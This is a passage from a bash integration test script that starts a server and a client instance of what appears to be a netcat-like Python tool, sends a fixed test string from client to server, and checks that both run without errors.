|| true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local cli_opts="${2// / }" 36 | local curr_mutation="${3}" 37 | local total_mutation="${4}" 38 | local curr_round="${5}" 39 | local total_round="${6}" 40 | local data= 41 | 42 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" 43 | run "sleep 1" 44 | 45 | ### 46 | ### Create data and files 47 | ### 48 | data="$(tmp_file)" 49 | printf "abcdefghijklmnopqrstuvwxyz1234567890\\n" > "${data}" 50 | expect="abcdefghijklmnopqrstuvwxyz1234567890\\n" 51 | srv_stdout="$(tmp_file)" 52 | srv_stderr="$(tmp_file)" 53 | cli_stdout="$(tmp_file)" 54 | cli_stderr="$(tmp_file)" 55 | 56 | 57 | # -------------------------------------------------------------------------------- 58 | # START: SERVER 59 | # -------------------------------------------------------------------------------- 60 | print_h2 "(1/4) Start: Server" 61 | 62 | # Start Server 63 | print_info "Start Server" 64 | # shellcheck disable=SC2086 65 | if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 66 | printf "" 67 | fi 68 | 69 | # Wait until Server is up 70 | run "sleep ${STARTUP_WAIT}" 71 | 72 | # [SERVER] Ensure Server is running 73 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 74 | 75 | # [SERVER] Ensure Server has no errors 76 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 77 | 78 | 79 | # -------------------------------------------------------------------------------- 80 | # START: CLIENT 81 | # -------------------------------------------------------------------------------- 82 | print_h2 "(2/4) Start: Client" 83 | 84 | # Start Client 85 | print_info "Start Client" 86 | # shellcheck disable=SC2086 87 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 88 | printf "" 89 | fi 90 | 91 | # Wait until Client is up 92 | run "sleep ${STARTUP_WAIT}" 93 | 94 | # [CLIENT] Ensure Client is running 95 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 96 | 97 | # [CLIENT] Ensure Client has no errors 98 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 99 | 100 | # [SERVER] Ensure Server is still is running 101 | test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 102 | 103 | # [SERVER] Ensure Server still has no errors 104 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 105 | 106 | 107 | # -------------------------------------------------------------------------------- 108 | # DATA TRANSFER 109 | # -------------------------------------------------------------------------------- 110 | print_h2 "(3/4) Transfer: Client -> Server" 111 | 112 | # [CLIENT -> SERVER] 113 | wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 114 | 115 | 116 | # -------------------------------------------------------------------------------- 117 | # TEST: Errors 118 | # -------------------------------------------------------------------------------- 119 | print_h2 "(4/4) Test: Errors" 120 | 121 | # [SERVER] Ensure Server has has no errors 122 | test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 123 | 124 | # [CLIENT] Ensure Client has no errors 125 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 126 | 127 | kill_pid "${cli_pid}" 128 | kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true 129 | } 130 | 131 | 132 | # ------------------------------------------------------------------------------------------------- 133 | # MAIN ENTRYPOINT 134 | # ------------------------------------------------------------------------------------------------- 135 | 136 | for curr_round in $(seq "${RUNS}"); do 137 | echo 138 | # server opts client opts 139 | run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" 140 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" 141 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" 142 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" 143 | #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" 144 | 145 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" 146 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" 147 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" 148 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" 149 | 150 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" 151 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" 152 | #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" 153 | #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" 154 | done 155 | --------------------------------------------------------------------------------